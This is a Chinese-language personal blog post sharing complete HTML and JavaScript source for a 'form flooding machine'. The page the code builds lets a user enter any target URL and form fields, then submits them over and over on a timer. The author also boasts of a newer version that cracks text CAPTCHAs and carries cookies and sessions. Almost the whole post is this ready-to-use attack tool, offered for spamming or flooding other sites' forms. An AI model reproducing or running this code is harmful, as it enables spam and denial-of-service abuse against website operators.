表單灌水機JaveScript & HTML攻擊代碼
No Comments

更新於 2015-04-26 12:48:40

最近因為寫完了VB.NET版的超高級表單灌水機後(可以破解文字驗證碼,以及真實夾帶Cookie及Session。以及表單分析,連填寫Name都不用,給網址按分析原碼就可以了。),就不想用舊版的JS&HTML的代碼了,就順便發一發。

只支持15個欄位。

很久以前寫的舊版POST/GET JS & HTML攻擊代碼:

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>表單灌水</title>
<style type="text/css">
.style1 {
	border-collapse: collapse;
	border: 1px solid #FFFF00;
	align: center;
}
</style>
<script language="JavaScript">
function set_form() {
window.document.getElementById('a1').name=window.document.getElementById('b1').value;
window.document.getElementById('a2').name=window.document.getElementById('b2').value;
window.document.getElementById('a3').name=window.document.getElementById('b3').value;
window.document.getElementById('a4').name=window.document.getElementById('b4').value;
window.document.getElementById('a5').name=window.document.getElementById('b5').value;
window.document.getElementById('a6').name=window.document.getElementById('b6').value;
window.document.getElementById('a7').name=window.document.getElementById('b7').value;
window.document.getElementById('a8').name=window.document.getElementById('b8').value;
window.document.getElementById('a9').name=window.document.getElementById('b9').value;
window.document.getElementById('a10').name=window.document.getElementById('b10').value;
window.document.getElementById('a11').name=window.document.getElementById('b11').value;
window.document.getElementById('a12').name=window.document.getElementById('b12').value;
window.document.getElementById('a13').name=window.document.getElementById('b13').value;
window.document.getElementById('a14').name=window.document.getElementById('b14').value;
window.document.getElementById('a15').name=window.document.getElementById('b15').value;
window.document.getElementById('a16').name=window.document.getElementById('b16').value;
window.document.getElementById('a17').name=window.document.getElementById('b17').value;
window.document.getElementById('form1').action=window.document.getElementById('action1').value;
window.document.getElementById('form1').method=window.document.getElementById('method1').value;
window.document.getElementById('form1').name=window.document.getElementById('namex1').value;
}
function postForm() {
window.document.getElementById('form1').submit();
a=setTimeout("postForm()",window.document.getElementById('wait_x').value);
}
function timeOut() {
b=setTimeout("alert('灌水完畢!');timeStop();",(window.document.getElementById('wait_x').value*window.document.getElementById('times_x').value-1));
}
var ftimes;
ftimes=0;
function timeCount(){
ftimes=ftimes+1;
times.innerHTML='<font color=blue>第 '+ftimes+' 次</font>';
c=setTimeout("timeCount()",window.document.getElementById('wait_x').value);
return false;
}
function timeStop(){
clearTimeout(a);
clearTimeout(b);
clearTimeout(c);
ftimes=0;
}
</script>

</head>
<body>
<center>
<h3><font color='red'>表單灌水機-Weil Jimmer</font></h3>
</center>
<form id="form1" name="form1" action="" method="get" target="k">
<table border="1" cellpadding="2" cellspacing="2" class="style1" align="center">
	<tr>
		<td>目標網站(灌水):<input type="text" id="action1" name="url" value="http://www.example.com/"><input type="hidden" name="type" value="formpost" /></td>
		<td>提交方式(表單):<input type="text" id="method1" name="way" value="post"><input type="hidden" name="mod" value="1" /></td>
		<td>Name(表單名稱):<input type="text" id="namex1" name="fname" value="form1"><input type="hidden" name="start" value="1" /></td>
	</tr>
	<tr>
		<td>間隔時間(毫秒):<input type="text" id="wait_x" value="1000"></td>
		<td>提交幾次(整數):<input type="text" id="times_x" value="10"></td>
		<td>&nbsp;</td>
	</tr>
</table>
<br><br>
<table border="1" cellpadding="3" cellspacing="3" class="style1" align="center">
	<tr>
		<td>Name01:<input type="text" id="b1" name="name1"></td>
		<td>Value01:<input type="text" id="a1" name="var1"></td>
	</tr>
	<tr>
		<td>Name02:<input type="text" id="b2" name="name2"></td>
		<td>Value02:<input type="text" id="a2" name="var2"></td>
	</tr>
	<tr>
		<td>Name03:<input type="text" id="b3" name="name3"></td>
		<td>Value03:<input type="text" id="a3" name="var3"></td>
	</tr>
	<tr>
		<td>Name04:<input type="text" id="b4" name="name4"></td>
		<td>Value04:<input type="text" id="a4" name="var4"></td>
	</tr>
	<tr>
		<td>Name05:<input type="text" id="b5" name="name5"></td>
		<td>Value05:<input type="text" id="a5" name="var5"></td>
	</tr>
	<tr>
		<td>Name06:<input type="text" id="b6" name="name6"></td>
		<td>Value06:<input type="text" id="a6" name="var6"></td>
	</tr>
	<tr>
		<td>Name07:<input type="text" id="b7" name="name7"></td>
		<td>Value07:<input type="text" id="a7" name="var7"></td>
	</tr>
	<tr>
		<td>Name08:<input type="text" id="b8" name="name8"></td>
		<td>Value08:<input type="text" id="a8" name="var8"></td>
	</tr>
	<tr>
		<td>Name09:<input type="text" id="b9" name="name9"></td>
		<td>Value09:<input type="text" id="a9" name="var9"></td>
	</tr>
	<tr>
		<td>Name10:<input type="text" id="b10" name="name10"></td>
		<td>Value10:<input type="text" id="a10" name="var10"></td>
	</tr>
	<tr>
		<td>Name11:<input type="text" id="b11" name="name11"></td>
		<td>Value11:<input type="text" id="a11" name="var11"></td>
	</tr>
	<tr>
		<td>Name12:<input type="text" id="b12" name="name12"></td>
		<td>Value12:<input type="text" id="a12" name="var12"></td>
	</tr>
	<tr>
		<td>Name13:<input type="text" id="b13" name="name13"></td>
		<td>Value13:<input type="text" id="a13" name="var13"></td>
	</tr>
	<tr>
		<td>Name14:<input type="text" id="b14" name="name14"></td>
		<td>Value14:<input type="text" id="a14" name="var14"></td>
	</tr>
	<tr>
		<td>Name15:<input type="text" id="b15" name="name15"></td>
		<td>Value15:<input type="text" id="a15" name="var15"></td>
	</tr>
	<tr>
		<td>Name :<input readonly type="text" id="b16" name="submit0" value="Submit"></td>
		<td>Value :<input type="text" id="a16" name="submit1"></td>
	</tr>
	<tr>
		<td>Name :<input readonly type="text" id="b17" name="reset0" value="Reset"></td>
		<td>Value :<input type="text" id="a17" name="reset1"></td>
	</tr>
</table>
</form>
<br><br>
<center>
<input name="button" type="button" value="開始灌水!" onclick="set_form();postForm();timeOut();timeCount();"><input name="button2" type="button" value="停止灌水!" onclick="timeStop();"><br>
<div id="times"></div></center><br>
<br></br><br></br>
<iframe name="k" id="k"  src="" height="100%" width="100%">您的瀏覽器不支援內置框架或目前的設定為不顯示內置框架。</iframe>
</body>
</html>

This entry was posted in HTML, JS By Weil Jimmer.

About Weil Jimmer

Hi! Everyone! My name is Weil Jimmer. This is my personal blog. I'm a webmaster of this site. I hope the site will be popular. Now, Let's go! Enjoy gaining more knowledge.
More Details About Me : https://weils.net/profile.php


Leave a message.

Only the first 10 comment will show.